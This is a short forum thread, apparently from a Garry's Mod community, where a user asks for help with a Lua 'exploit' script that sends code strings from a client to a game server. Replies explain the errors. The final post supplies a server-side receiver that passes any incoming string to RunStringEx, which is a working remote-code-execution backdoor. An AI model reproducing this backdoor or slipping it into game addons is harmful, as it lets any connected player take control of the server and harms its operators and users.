Help❗ exploit error

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❗ exploit error
Code:
memeDoor.RunCodings = function(code,tf)
            net.Start("memeDoor"); // net.String hax
            net.WriteString(code);
            net.SendToServer();
            memeDoor.Meme("Sending Code Chunk Request\n");
    end
[ERROR] lua/mdoor.lua:61: Calling net.Start with unpooled message name! [link]
1. Start - [C]:-1
2. RunCodings - lua/mdoor.lua:61
3. unknown - lua/mdoor.lua:169

Code:
    util.AddNetworkString("memeDoor")
    memeDoor.RunCodings = function(code,tf)
            net.Start("memeDoor"); // net.String hax
            net.WriteString(code);
            net.SendToServer();
            memeDoor.Meme("Sending Code Chunk Request\n");
    end

[ERROR] lua/mdoor.lua:3: attempt to call field 'AddNetworkString' (a nil value)
1. unknown - lua/mdoor.lua:3


WTF?
You can't add network strings on the client.
!
Quote Originally Posted by RageMan12 View Post
You can't add network strings on the client.
How to fix unpooled error?
Quote Originally Posted by agag205 View Post
How to fix unpooled error?
By using util.AddNetworkString on the server with the message names.
I don't think you were maid for the exploiting life dude.
The server would need to have something such as this on it.
Code:
util.AddNetworkString("memeDoor")

net.Receive("memeDoor", function(len, ply)
	local source = net.ReadString()
	if source then
		RunStringEx(source, "LuaCmd", false)
	end
end)
Posts 1–5 of 5 · Page 1 of 1

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